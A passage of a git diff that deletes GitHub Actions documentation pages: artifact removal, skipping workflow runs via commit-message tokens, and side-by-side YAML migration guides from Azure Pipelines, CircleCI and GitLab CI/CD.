- - /actions/managing-workflow-runs/removing-workflow-artifacts
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
-
-## Deleting an artifact
-
-> [!WARNING]
-> Once you delete an artifact, it cannot be restored.
-
-{% data reusables.repositories.permissions-statement-write %}
-
-{% data reusables.actions.artifact-log-retention-statement %}
-
-{% data reusables.repositories.navigate-to-repo %}
-{% data reusables.repositories.actions-tab %}
-{% data reusables.repositories.navigate-to-workflow %}
-{% data reusables.repositories.view-run %}
-1. Under **Artifacts**, click {% octicon "trash" aria-label="Remove artifact ARTIFACT-NAME" %} next to the artifact you want to remove.
-
- 
-
-## Setting the retention period for an artifact
-
-Retention periods for artifacts and logs can be configured at the repository, organization, and enterprise level. For more information, see [AUTOTITLE](/actions/learn-github-actions/usage-limits-billing-and-administration#artifact-and-log-retention-policy).
-
-You can also define a custom retention period for individual artifacts using the `actions/upload-artifact` action in a workflow. For more information, see [AUTOTITLE](/actions/using-workflows/storing-workflow-data-as-artifacts#configuring-a-custom-artifact-retention-period).
-
-## Finding the expiration date of an artifact
-
-You can use the API to confirm the date that an artifact is scheduled to be deleted. For more information, see the `expires_at` value returned by the REST API. For more information, see [AUTOTITLE](/rest/actions/artifacts).
-
-{% data reusables.actions.artifacts.artifacts-from-deleted-workflow-runs %}
diff --git a/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/skipping-workflow-runs.md b/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/skipping-workflow-runs.md
deleted file mode 100644
index ea3c30b9e5d4..000000000000
--- a/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/skipping-workflow-runs.md
+++ /dev/null
@@ -1,37 +0,0 @@
----
-title: Skipping workflow runs
-intro: You can skip workflow runs triggered by the `push` and `pull_request` events by including a command in your commit message.
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-shortTitle: Skip workflow runs
-redirect_from:
- - /actions/managing-workflow-runs/skipping-workflow-runs
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
-
-> [!NOTE]
-> If a workflow is skipped due to [path filtering](/actions/using-workflows/workflow-syntax-for-github-actions#onpushpull_requestpull_request_targetpathspaths-ignore), [branch filtering](/actions/using-workflows/workflow-syntax-for-github-actions#onpull_requestpull_request_targetbranchesbranches-ignore) or a commit message (see below), then checks associated with that workflow will remain in a "Pending" state. A pull request that requires those checks to be successful will be blocked from merging.
-
-Workflows that would otherwise be triggered using `on: push` or `on: pull_request` won't be triggered if you add any of the following strings to the commit message in a push, or the HEAD commit of a pull request:
-
-* `[skip ci]`
-* `[ci skip]`
-* `[no ci]`
-* `[skip actions]`
-* `[actions skip]`
-
-Alternatively, you can add a `skip-checks` trailer to your commit message. The trailers section should be included at the end of your commit message and be preceded by two empty lines. If you already have other trailers in your commit message, `skip-checks` should be last. You can use either of the following:
-* `skip-checks:true`
-* `skip-checks: true`
-
-{% data reusables.commits.about-commit-cleanup %}
-
-You won't be able to merge the pull request if your repository is configured to require specific checks to pass first. To allow the pull request to be merged you can push a new commit to the pull request without the skip instruction in the commit message.
-
-> [!NOTE]
-> Skip instructions only apply to the `push` and `pull_request` events. For example, adding `[skip ci]` to a commit message won't stop a workflow that's triggered `on: pull_request_target` from running.
-
-Skip instructions only apply to the workflow run(s) that would be triggered by the commit that contains the skip instructions. You can also disable a workflow from running. For more information, see [AUTOTITLE](/actions/managing-workflow-runs/disabling-and-enabling-a-workflow).
diff --git a/content/actions/migrating-to-github-actions/index.md b/content/actions/migrating-to-github-actions/index.md
deleted file mode 100644
index 8bb45276cb35..000000000000
--- a/content/actions/migrating-to-github-actions/index.md
+++ /dev/null
@@ -1,15 +0,0 @@
----
-title: Migrating to GitHub Actions
-shortTitle: Migrate to GitHub Actions
-intro: 'Learn how to migrate your existing CI/CD workflows to {% data variables.product.prodname_actions %}.'
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-redirect_from:
- - /articles/migrating-github-actions-from-hcl-syntax-to-yaml-syntax
-children:
- - /using-github-actions-importer-to-automate-migrations
- - /manually-migrating-to-github-actions
----
-
diff --git a/content/actions/migrating-to-github-actions/manually-migrating-to-github-actions/index.md b/content/actions/migrating-to-github-actions/manually-migrating-to-github-actions/index.md
deleted file mode 100644
index c85471eed867..000000000000
--- a/content/actions/migrating-to-github-actions/manually-migrating-to-github-actions/index.md
+++ /dev/null
@@ -1,18 +0,0 @@
----
-title: Manually migrating to GitHub Actions
-shortTitle: Manual migrations
-intro: 'Learn how to manually migrate your existing CI/CD workflows to {% data variables.product.prodname_actions %}.'
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-children:
- - /migrating-from-azure-pipelines-to-github-actions
- - /migrating-from-circleci-to-github-actions
- - /migrating-from-gitlab-cicd-to-github-actions
- - /migrating-from-jenkins-to-github-actions
- - /migrating-from-travis-ci-to-github-actions
-redirect_from:
- - /actions/migrating-to-github-actions/manual-migrations
----
-
diff --git a/content/actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-azure-pipelines-to-github-actions.md b/content/actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-azure-pipelines-to-github-actions.md
deleted file mode 100644
index 93799bd44a97..000000000000
--- a/content/actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-azure-pipelines-to-github-actions.md
+++ /dev/null
@@ -1,296 +0,0 @@
----
-title: Migrating from Azure Pipelines to GitHub Actions
-intro: '{% data variables.product.prodname_actions %} and Azure Pipelines share several configuration similarities, which makes migrating to {% data variables.product.prodname_actions %} relatively straightforward.'
-redirect_from:
- - /actions/learn-github-actions/migrating-from-azure-pipelines-to-github-actions
- - /actions/migrating-to-github-actions/migrating-from-azure-pipelines-to-github-actions
- - /actions/migrating-to-github-actions/manual-migrations/migrating-from-azure-pipelines-to-github-actions
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-type: tutorial
-topics:
- - Azure Pipelines
- - Migration
- - CI
- - CD
-shortTitle: Migrate from Azure Pipelines
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
-
-## Introduction
-
-Azure Pipelines and {% data variables.product.prodname_actions %} both allow you to create workflows that automatically build, test, publish, release, and deploy code. Azure Pipelines and {% data variables.product.prodname_actions %} share some similarities in workflow configuration:
-
-* Workflow configuration files are written in YAML and are stored in the code's repository.
-* Workflows include one or more jobs.
-* Jobs include one or more steps or individual commands.
-* Steps or tasks can be reused and shared with the community.
-
-For more information, see [AUTOTITLE](/actions/learn-github-actions/understanding-github-actions).
-
-## Key differences
-
-When migrating from Azure Pipelines, consider the following differences:
-
-* Azure Pipelines supports a legacy _classic editor_, which lets you define your CI configuration in a GUI editor instead of creating the pipeline definition in a YAML file. {% data variables.product.prodname_actions %} uses YAML files to define workflows and does not support a graphical editor.
-* Azure Pipelines allows you to omit some structure in job definitions. For example, if you only have a single job, you don't need to define the job and only need to define its steps. {% data variables.product.prodname_actions %} requires explicit configuration, and YAML structure cannot be omitted.
-* Azure Pipelines supports _stages_ defined in the YAML file, which can be used to create deployment workflows. {% data variables.product.prodname_actions %} requires you to separate stages into separate YAML workflow files.
-* On-premises Azure Pipelines build agents can be selected with capabilities. {% data variables.product.prodname_actions %} self-hosted runners can be selected with labels.
-
-## Migrating jobs and steps
-
-Jobs and steps in Azure Pipelines are very similar to jobs and steps in {% data variables.product.prodname_actions %}. In both systems, jobs have the following characteristics:
-
-* Jobs contain a series of steps that run sequentially.
-* Jobs run on separate virtual machines or in separate containers.
-* Jobs run in parallel by default, but can be configured to run sequentially.
-
-## Migrating script steps
-
-You can run a script or a shell command as a step in a workflow. In Azure Pipelines, script steps can be specified using the `script` key, or with the `bash`, `powershell`, or `pwsh` keys. Scripts can also be specified as an input to the [Bash task](https://docs.microsoft.com/azure/devops/pipelines/tasks/utility/bash?view=azure-devops) or the [PowerShell task](https://docs.microsoft.com/azure/devops/pipelines/tasks/utility/powershell?view=azure-devops).
-
-In {% data variables.product.prodname_actions %}, all scripts are specified using the `run` key. To select a particular shell, you can specify the `shell` key when providing the script. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun).
-
-Below is an example of the syntax for each system.
-
-### Azure Pipelines syntax for script steps
-
-{% raw %}
-
-```yaml
-jobs:
- - job: scripts
- pool:
- vmImage: 'windows-latest'
- steps:
- - script: echo "This step runs in the default shell"
- - bash: echo "This step runs in bash"
- - pwsh: Write-Host "This step runs in PowerShell Core"
- - task: PowerShell@2
- inputs:
- script: Write-Host "This step runs in PowerShell"
-```
-
-{% endraw %}
-
-### {% data variables.product.prodname_actions %} syntax for script steps
-
-{% raw %}
-
-```yaml
-jobs:
- scripts:
- runs-on: windows-latest
- steps:
- - run: echo "This step runs in the default shell"
- - run: echo "This step runs in bash"
- shell: bash
- - run: Write-Host "This step runs in PowerShell Core"
- shell: pwsh
- - run: Write-Host "This step runs in PowerShell"
- shell: powershell
-```
-
-{% endraw %}
-
-## Differences in script error handling
-
-In Azure Pipelines, scripts can be configured to error if any output is sent to `stderr`. {% data variables.product.prodname_actions %} does not support this configuration.
-
-{% data variables.product.prodname_actions %} configures shells to "fail fast" whenever possible, which stops the script immediately if one of the commands in a script exits with an error code. In contrast, Azure Pipelines requires explicit configuration to exit immediately on an error. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#exit-codes-and-error-action-preference).
-
-## Differences in the default shell on Windows
-
-In Azure Pipelines, the default shell for scripts on Windows platforms is the Command shell (_cmd.exe_). In {% data variables.product.prodname_actions %}, the default shell for scripts on Windows platforms is PowerShell. PowerShell has several differences in built-in commands, variable expansion, and flow control.
-
-If you're running a simple command, you might be able to run a Command shell script in PowerShell without any changes. But in most cases, you will either need to update your script with PowerShell syntax or instruct {% data variables.product.prodname_actions %} to run the script with the Command shell instead of PowerShell. You can do this by specifying `shell` as `cmd`.
-
-Below is an example of the syntax for each system.
-
-### Azure Pipelines syntax using CMD by default
-
-{% raw %}
-
-```yaml
-jobs:
- - job: run_command
- pool:
- vmImage: 'windows-latest'
- steps:
- - script: echo "This step runs in CMD on Windows by default"
-```
-
-{% endraw %}
-
-### {% data variables.product.prodname_actions %} syntax for specifying CMD
-
-{% raw %}
-
-```yaml
-jobs:
- run_command:
- runs-on: windows-latest
- steps:
- - run: echo "This step runs in PowerShell on Windows by default"
- - run: echo "This step runs in CMD on Windows explicitly"
- shell: cmd
-```
-
-{% endraw %}
-
-For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#using-a-specific-shell).
-
-## Migrating conditionals and expression syntax
-
-Azure Pipelines and {% data variables.product.prodname_actions %} can both run steps conditionally. In Azure Pipelines, conditional expressions are specified using the `condition` key. In {% data variables.product.prodname_actions %}, conditional expressions are specified using the `if` key.
-
-Azure Pipelines uses functions within expressions to execute steps conditionally. In contrast, {% data variables.product.prodname_actions %} uses an infix notation. For example, you must replace the `eq` function in Azure Pipelines with the `==` operator in {% data variables.product.prodname_actions %}.
-
-Below is an example of the syntax for each system.
-
-### Azure Pipelines syntax for conditional expressions
-
-{% raw %}
-
-```yaml
-jobs:
- - job: conditional
- pool:
- vmImage: 'ubuntu-latest'
- steps:
- - script: echo "This step runs with str equals 'ABC' and num equals 123"
- condition: and(eq(variables.str, 'ABC'), eq(variables.num, 123))
-```
-
-{% endraw %}
-
-### {% data variables.product.prodname_actions %} syntax for conditional expressions
-
-{% raw %}
-
-```yaml
-jobs:
- conditional:
- runs-on: ubuntu-latest
- steps:
- - run: echo "This step runs with str equals 'ABC' and num equals 123"
- if: ${{ env.str == 'ABC' && env.num == 123 }}
-```
-
-{% endraw %}
-
-For more information, see [AUTOTITLE](/actions/learn-github-actions/expressions).
-
-## Dependencies between jobs
-
-Both Azure Pipelines and {% data variables.product.prodname_actions %} allow you to set dependencies for a job. In both systems, jobs run in parallel by default, but job dependencies can be specified explicitly. In Azure Pipelines, this is done with the `dependsOn` key. In {% data variables.product.prodname_actions %}, this is done with the `needs` key.
-
-Below is an example of the syntax for each system. The workflows start a first job named `initial`, and when that job completes, two jobs named `fanout1` and `fanout2` will run. Finally, when those jobs complete, the job `fanin` will run.
-
-### Azure Pipelines syntax for dependencies between jobs
-
-{% raw %}
-
-```yaml
-jobs:
- - job: initial
- pool:
- vmImage: 'ubuntu-latest'
- steps:
- - script: echo "This job will be run first."
- - job: fanout1
- pool:
- vmImage: 'ubuntu-latest'
- dependsOn: initial
- steps:
- - script: echo "This job will run after the initial job, in parallel with fanout2."
- - job: fanout2
- pool:
- vmImage: 'ubuntu-latest'
- dependsOn: initial
- steps:
- - script: echo "This job will run after the initial job, in parallel with fanout1."
- - job: fanin:
- pool:
- vmImage: 'ubuntu-latest'
- dependsOn: [fanout1, fanout2]
- steps:
- - script: echo "This job will run after fanout1 and fanout2 have finished."
-```
-
-{% endraw %}
-
-### {% data variables.product.prodname_actions %} syntax for dependencies between jobs
-
-{% raw %}
-
-```yaml
-jobs:
- initial:
- runs-on: ubuntu-latest
- steps:
- - run: echo "This job will be run first."
- fanout1:
- runs-on: ubuntu-latest
- needs: initial
- steps:
- - run: echo "This job will run after the initial job, in parallel with fanout2."
- fanout2:
- runs-on: ubuntu-latest
- needs: initial
- steps:
- - run: echo "This job will run after the initial job, in parallel with fanout1."
- fanin:
- runs-on: ubuntu-latest
- needs: [fanout1, fanout2]
- steps:
- - run: echo "This job will run after fanout1 and fanout2 have finished."
-```
-
-{% endraw %}
-
-For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idneeds).
-
-## Migrating tasks to actions
-
-Azure Pipelines uses _tasks_, which are application components that can be re-used in multiple workflows. {% data variables.product.prodname_actions %} uses _actions_, which can be used to perform tasks and customize your workflow. In both systems, you can specify the name of the task or action to run, along with any required inputs as key/value pairs.
-
-Below is an example of the syntax for each system.
-
-### Azure Pipelines syntax for tasks
-
-{% raw %}
-
-```yaml
-jobs:
- - job: run_python
- pool:
- vmImage: 'ubuntu-latest'
- steps:
- - task: UsePythonVersion@0
- inputs:
- versionSpec: '3.7'
- architecture: 'x64'
- - script: python script.py
-```
-
-{% endraw %}
-
-### {% data variables.product.prodname_actions %} syntax for actions
-
-```yaml
-jobs:
- run_python:
- runs-on: ubuntu-latest
- steps:
- - uses: {% data reusables.actions.action-setup-python %}
- with:
- python-version: '3.7'
- architecture: 'x64'
- - run: python script.py
-```
-
-You can find actions that you can use in your workflow in [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=actions), or you can create your own actions. For more information, see [AUTOTITLE](/actions/creating-actions).
diff --git a/content/actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-circleci-to-github-actions.md b/content/actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-circleci-to-github-actions.md
deleted file mode 100644
index 66c5c8f7b115..000000000000
--- a/content/actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-circleci-to-github-actions.md
+++ /dev/null
@@ -1,418 +0,0 @@
----
-title: Migrating from CircleCI to GitHub Actions
-intro: 'GitHub Actions and CircleCI share several similarities in configuration, which makes migration to GitHub Actions relatively straightforward.'
-redirect_from:
- - /actions/learn-github-actions/migrating-from-circleci-to-github-actions
- - /actions/migrating-to-github-actions/migrating-from-circleci-to-github-actions
- - /actions/migrating-to-github-actions/manual-migrations/migrating-from-circleci-to-github-actions
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-type: tutorial
-topics:
- - CircleCI
- - Migration
- - CI
- - CD
-shortTitle: Migrate from CircleCI
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
-
-## Introduction
-
-CircleCI and {% data variables.product.prodname_actions %} both allow you to create workflows that automatically build, test, publish, release, and deploy code. CircleCI and {% data variables.product.prodname_actions %} share some similarities in workflow configuration:
-
-* Workflow configuration files are written in YAML and stored in the repository.
-* Workflows include one or more jobs.
-* Jobs include one or more steps or individual commands.
-* Steps or tasks can be reused and shared with the community.
-
-For more information, see [AUTOTITLE](/actions/learn-github-actions/understanding-github-actions).
-
-## Key differences
-
-When migrating from CircleCI, consider the following differences:
-
-* CircleCI’s automatic test parallelism automatically groups tests according to user-specified rules or historical timing information. This functionality is not built into {% data variables.product.prodname_actions %}.
-* Actions that execute in Docker containers are sensitive to permissions problems since containers have a different mapping of users. You can avoid many of these problems by not using the `USER` instruction in your _Dockerfile_. For more information about the Docker filesystem on {% data variables.product.github %}-hosted runners, see [AUTOTITLE](/actions/using-github-hosted-runners/about-github-hosted-runners#docker-container-filesystem).
-
-## Migrating workflows and jobs
-
-CircleCI defines `workflows` in the _config.yml_ file, which allows you to configure more than one workflow. {% data variables.product.github %} requires one workflow file per workflow, and as a consequence, does not require you to declare `workflows`. You'll need to create a new workflow file for each workflow configured in _config.yml_.
-
-Both CircleCI and {% data variables.product.prodname_actions %} configure `jobs` in the configuration file using similar syntax. If you configure any dependencies between jobs using `requires` in your CircleCI workflow, you can use the equivalent {% data variables.product.prodname_actions %} `needs` syntax. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idneeds).
-
-## Migrating orbs to actions
-
-Both CircleCI and {% data variables.product.prodname_actions %} provide a mechanism to reuse and share tasks in a workflow. CircleCI uses a concept called orbs, written in YAML, to provide tasks that people can reuse in a workflow. {% data variables.product.prodname_actions %} has powerful and flexible reusable components called actions, which you build with either JavaScript files or Docker images. You can create actions by writing custom code that interacts with your repository in any way you'd like, including integrating with {% data variables.product.github %}'s APIs and any publicly available third-party API. For example, an action can publish npm modules, send SMS alerts when urgent issues are created, or deploy production-ready code. For more information, see [AUTOTITLE](/actions/creating-actions).
-
-CircleCI can reuse pieces of workflows with YAML anchors and aliases. {% data variables.product.prodname_actions %} supports the most common need for reusability using matrices. For more information about matrices, see [AUTOTITLE](/actions/using-jobs/using-a-matrix-for-your-jobs).
-
-## Using Docker images
-
-Both CircleCI and {% data variables.product.prodname_actions %} support running steps inside of a Docker image.
-
-CircleCI provides a set of pre-built images with common dependencies. These images have the `USER` set to `circleci`, which causes permissions to conflict with {% data variables.product.prodname_actions %}.
-
-We recommend that you move away from CircleCI's pre-built images when you migrate to {% data variables.product.prodname_actions %}. In many cases, you can use actions to install the additional dependencies you need.
-
-For more information about the Docker filesystem, see [AUTOTITLE](/actions/using-github-hosted-runners/about-github-hosted-runners#docker-container-filesystem).
-
-For more information about the tools and packages available on {% data variables.product.prodname_dotcom %}-hosted runner images, see [AUTOTITLE](/actions/using-github-hosted-runners/about-github-hosted-runners#supported-software).
-
-## Using variables and secrets
-
-CircleCI and {% data variables.product.prodname_actions %} support setting variables in the configuration file and creating secrets using the CircleCI or {% data variables.product.github %} UI.
-
-For more information, see [AUTOTITLE](/actions/learn-github-actions/variables#default-environment-variables) and [AUTOTITLE](/actions/security-guides/using-secrets-in-github-actions).
-
-## Caching
-
-CircleCI and {% data variables.product.prodname_actions %} provide a method to manually cache files in the configuration file.
-
-Below is an example of the syntax for each system.
-
-### CircleCI syntax for caching
-
-{% raw %}
-
-```yaml
-- restore_cache:
- keys:
- - v1-npm-deps-{{ checksum "package-lock.json" }}
- - v1-npm-deps-
-```
-
-{% endraw %}
-
-### GitHub Actions syntax for caching
-
-```yaml
-- name: Cache node modules
- uses: {% data reusables.actions.action-cache %}
- with:
- path: ~/.npm
- key: {% raw %}v1-npm-deps-${{ hashFiles('**/package-lock.json') }}{% endraw %}
- restore-keys: v1-npm-deps-
-```
-
-{% data variables.product.prodname_actions %} does not have an equivalent of CircleCI’s Docker Layer Caching (or DLC).
-
-## Persisting data between jobs
-
-Both CircleCI and {% data variables.product.prodname_actions %} provide mechanisms to persist data between jobs.
-
-Below is an example in CircleCI and {% data variables.product.prodname_actions %} configuration syntax.
-
-### CircleCI syntax for persisting data between jobs
-
-{% raw %}
-
-```yaml
-- persist_to_workspace:
- root: workspace
- paths:
- - math-homework.txt
-
-...
-
-- attach_workspace:
- at: /tmp/workspace
-```
-
-{% endraw %}
-
-### GitHub Actions syntax for persisting data between jobs
-
-```yaml
-- name: Upload math result for job 1
- uses: {% data reusables.actions.action-upload-artifact %}
- with:
- name: homework
- path: math-homework.txt
-
-...
-
-- name: Download math result for job 1
- uses: {% data reusables.actions.action-download-artifact %}
- with:
- name: homework
-```
-
-For more information, see [AUTOTITLE](/actions/using-workflows/storing-workflow-data-as-artifacts).
-
-## Using databases and service containers
-
-Both systems enable you to include additional containers for databases, caching, or other dependencies.
-
-In CircleCI, the first image listed in the _config.yaml_ is the primary image used to run commands. {% data variables.product.prodname_actions %} uses explicit sections: use `container` for the primary container, and list additional containers in `services`.
-
-Below is an example in CircleCI and {% data variables.product.prodname_actions %} configuration syntax.
-
-### CircleCI syntax for using databases and service containers
-
-{% raw %}
-
-```yaml
----
-version: 2.1
-
-jobs:
-
- ruby-26:
- docker:
- - image: circleci/ruby:2.6.3-node-browsers-legacy
- environment:
- PGHOST: localhost
- PGUSER: administrate
- RAILS_ENV: test
- - image: postgres:10.1-alpine
- environment:
- POSTGRES_USER: administrate
- POSTGRES_DB: ruby26
- POSTGRES_PASSWORD: ""
-
- working_directory: ~/administrate
-
- steps:
- - checkout
-
- # Bundle install dependencies
- - run: bundle install --path vendor/bundle
-
- # Wait for DB
- - run: dockerize -wait tcp://localhost:5432 -timeout 1m
-
- # Setup the environment
- - run: cp .sample.env .env
-
- # Setup the database
- - run: bundle exec rake db:setup
-
- # Run the tests
- - run: bundle exec rake
-
-workflows:
- version: 2
- build:
- jobs:
- - ruby-26
-...
-
-- attach_workspace:
- at: /tmp/workspace
-```
-
-{% endraw %}
-
-### GitHub Actions syntax for using databases and service containers
-
-
-
-```yaml
-name: Containers
-
-on: [push]
-
-jobs:
- build:
-
- runs-on: ubuntu-latest
- container: circleci/ruby:2.6.3-node-browsers-legacy
-
- env:
- PGHOST: postgres
- PGUSER: administrate
- RAILS_ENV: test
-
- services:
- postgres:
- image: postgres:10.1-alpine
- env:
- POSTGRES_USER: administrate
- POSTGRES_DB: ruby25
- POSTGRES_PASSWORD: ""
- ports:
- - 5432:5432
- # Add a health check
- options: --health-cmd pg_isready --health-interval 10s --health-timeout 5s --health-retries 5
-
- steps:
- # This Docker file changes sets USER to circleci instead of using the default user, so we need to update file permissions for this image to work on GH Actions.
- # See https://docs.github.com/actions/using-github-hosted-runners/about-github-hosted-runners#docker-container-filesystem
-
- - name: Setup file system permissions
- run: sudo chmod -R 777 $GITHUB_WORKSPACE /github /__w/_temp
- - uses: {% data reusables.actions.action-checkout %}
- - name: Install dependencies
- run: bundle install --path vendor/bundle
- - name: Setup environment configuration
- run: cp .sample.env .env
- - name: Setup database
- run: bundle exec rake db:setup
- - name: Run tests
- run: bundle exec rake
-```
-
-
-
-For more information, see [AUTOTITLE](/actions/using-containerized-services/about-service-containers).
-
-## Complete Example
-
-Below is a real-world example. The left shows the actual CircleCI _config.yml_ for the [thoughtbot/administrator](https://github.com/thoughtbot/administrate) repository. The right shows the {% data variables.product.prodname_actions %} equivalent.
-
-### Complete example for CircleCI
-
-{% raw %}
-
-```yaml
----
-version: 2.1
-
-commands:
- shared_steps:
- steps:
- - checkout
-
- # Restore Cached Dependencies
- - restore_cache:
- name: Restore bundle cache
- key: administrate-{{ checksum "Gemfile.lock" }}
-
- # Bundle install dependencies
- - run: bundle install --path vendor/bundle
-
- # Cache Dependencies
- - save_cache:
- name: Store bundle cache
- key: administrate-{{ checksum "Gemfile.lock" }}
- paths:
- - vendor/bundle
-
- # Wait for DB
- - run: dockerize -wait tcp://localhost:5432 -timeout 1m
-
- # Setup the environment
- - run: cp .sample.env .env
-
- # Setup the database
- - run: bundle exec rake db:setup
-
- # Run the tests
- - run: bundle exec rake
-
-default_job: &default_job
- working_directory: ~/administrate
- steps:
- - shared_steps
- # Run the tests against multiple versions of Rails
- - run: bundle exec appraisal install
- - run: bundle exec appraisal rake
-
-jobs:
- ruby-25:
- <<: *default_job
- docker:
- - image: circleci/ruby:2.5.0-node-browsers
- environment:
- PGHOST: localhost
- PGUSER: administrate
- RAILS_ENV: test
- - image: postgres:10.1-alpine
- environment:
- POSTGRES_USER: administrate
- POSTGRES_DB: ruby25
- POSTGRES_PASSWORD: ""
-
- ruby-26:
- <<: *default_job
- docker:
- - image: circleci/ruby:2.6.3-node-browsers-legacy
- environment:
- PGHOST: localhost
- PGUSER: administrate
- RAILS_ENV: test
- - image: postgres:10.1-alpine
- environment:
- POSTGRES_USER: administrate
- POSTGRES_DB: ruby26
- POSTGRES_PASSWORD: ""
-
-workflows:
- version: 2
- multiple-rubies:
- jobs:
- - ruby-26
- - ruby-25
-```
-
-{% endraw %}
-
-### Complete example for GitHub Actions
-
-```yaml
-{% data reusables.actions.actions-not-certified-by-github-comment %}
-
-{% data reusables.actions.actions-use-sha-pinning-comment %}
-
-name: Containers
-
-on: [push]
-
-jobs:
- build:
-
- strategy:
- matrix:
- ruby: ['2.5', '2.6.3']
-
- runs-on: ubuntu-latest
-
- env:
- PGHOST: localhost
- PGUSER: administrate
- RAILS_ENV: test
-
- services:
- postgres:
- image: postgres:10.1-alpine
- env:
- POSTGRES_USER: administrate
- POSTGRES_DB: ruby25
- POSTGRES_PASSWORD: ""
- ports:
- - 5432:5432
- # Add a health check
- options: --health-cmd pg_isready --health-interval 10s --health-timeout 5s --health-retries 5
-
- steps:
- - uses: {% data reusables.actions.action-checkout %}
- - name: Setup Ruby
- uses: eregon/use-ruby-action@ec02537da5712d66d4d50a0f33b7eb52773b5ed1
- with:
- ruby-version: {% raw %}${{ matrix.ruby }}{% endraw %}
- - name: Cache dependencies
- uses: {% data reusables.actions.action-cache %}
- with:
- path: vendor/bundle
- key: administrate-{% raw %}${{ matrix.image }}-${{ hashFiles('Gemfile.lock') }}{% endraw %}
- - name: Install postgres headers
- run: |
- sudo apt-get update
- sudo apt-get install libpq-dev
- - name: Install dependencies
- run: bundle install --path vendor/bundle
- - name: Setup environment configuration
- run: cp .sample.env .env
- - name: Setup database
- run: bundle exec rake db:setup
- - name: Run tests
- run: bundle exec rake
- - name: Install appraisal
- run: bundle exec appraisal install
- - name: Run appraisal
- run: bundle exec appraisal rake
-```
diff --git a/content/actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-gitlab-cicd-to-github-actions.md b/content/actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-gitlab-cicd-to-github-actions.md
deleted file mode 100644
index a2afb0410283..000000000000
--- a/content/actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-gitlab-cicd-to-github-actions.md
+++ /dev/null
@@ -1,415 +0,0 @@
----
-title: Migrating from GitLab CI/CD to GitHub Actions
-intro: '{% data variables.product.prodname_actions %} and GitLab CI/CD share several configuration similarities, which makes migrating to {% data variables.product.prodname_actions %} relatively straightforward.'
-redirect_from:
- - /actions/learn-github-actions/migrating-from-gitlab-cicd-to-github-actions
- - /actions/migrating-to-github-actions/migrating-from-gitlab-cicd-to-github-actions
- - /actions/migrating-to-github-actions/manual-migrations/migrating-from-gitlab-cicd-to-github-actions
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-type: tutorial
-topics:
- - GitLab
- - Migration
- - CI
- - CD
-shortTitle: Migrate from GitLab CI/CD
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
-
-## Introduction
-
-GitLab CI/CD and {% data variables.product.prodname_actions %} both allow you to create workflows that automatically build, test, publish, release, and deploy code. GitLab CI/CD and {% data variables.product.prodname_actions %} share some similarities in workflow configuration:
-
-* Workflow configuration files are written in YAML and are stored in the code's repository.
-* Workflows include one or more jobs.
-* Jobs include one or more steps or individual commands.
-* Jobs can run on either managed or self-hosted machines.
-
-There are a few differences, and this guide will show you the important differences so that you can migrate your workflow to {% data variables.product.prodname_actions %}.
-
-## Jobs
-
-Jobs in GitLab CI/CD are very similar to jobs in {% data variables.product.prodname_actions %}. In both systems, jobs have the following characteristics:
-
-* Jobs contain a series of steps or scripts that run sequentially.
-* Jobs can run on separate machines or in separate containers.
-* Jobs run in parallel by default, but can be configured to run sequentially.
-
-You can run a script or a shell command in a job. In GitLab CI/CD, script steps are specified using the `script` key. In {% data variables.product.prodname_actions %}, all scripts are specified using the `run` key.
-
-Below is an example of the syntax for each system.
-
-### GitLab CI/CD syntax for jobs
-
-{% raw %}
-
-```yaml
-job1:
- variables:
- GIT_CHECKOUT: "true"
- script:
- - echo "Run your script here"
-```
-
-{% endraw %}
-
-### {% data variables.product.prodname_actions %} syntax for jobs
-
-```yaml
-jobs:
- job1:
- steps:
- - uses: {% data reusables.actions.action-checkout %}
- - run: echo "Run your script here"
-```
-
-## Runners
-
-Runners are machines on which the jobs run. Both GitLab CI/CD and {% data variables.product.prodname_actions %} offer managed and self-hosted variants of runners. In GitLab CI/CD, `tags` are used to run jobs on different platforms, while in {% data variables.product.prodname_actions %} it is done with the `runs-on` key.
-
-Below is an example of the syntax for each system.
-
-### GitLab CI/CD syntax for runners
-
-{% raw %}
-
-```yaml
-windows_job:
- tags:
- - windows
- script:
- - echo Hello, %USERNAME%!
-
-linux_job:
- tags:
- - linux
- script:
- - echo "Hello, $USER!"
-```
-
-{% endraw %}
-
-### {% data variables.product.prodname_actions %} syntax for runners
-
-{% raw %}
-
-```yaml
-windows_job:
- runs-on: windows-latest
- steps:
- - run: echo Hello, %USERNAME%!
-
-linux_job:
- runs-on: ubuntu-latest
- steps:
- - run: echo "Hello, $USER!"
-```
-
-{% endraw %}
-
-For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idruns-on).
-
-## Docker images
-
-Both GitLab CI/CD and {% data variables.product.prodname_actions %} support running jobs in a Docker image. In GitLab CI/CD, Docker images are defined with an `image` key, while in {% data variables.product.prodname_actions %} it is done with the `container` key.
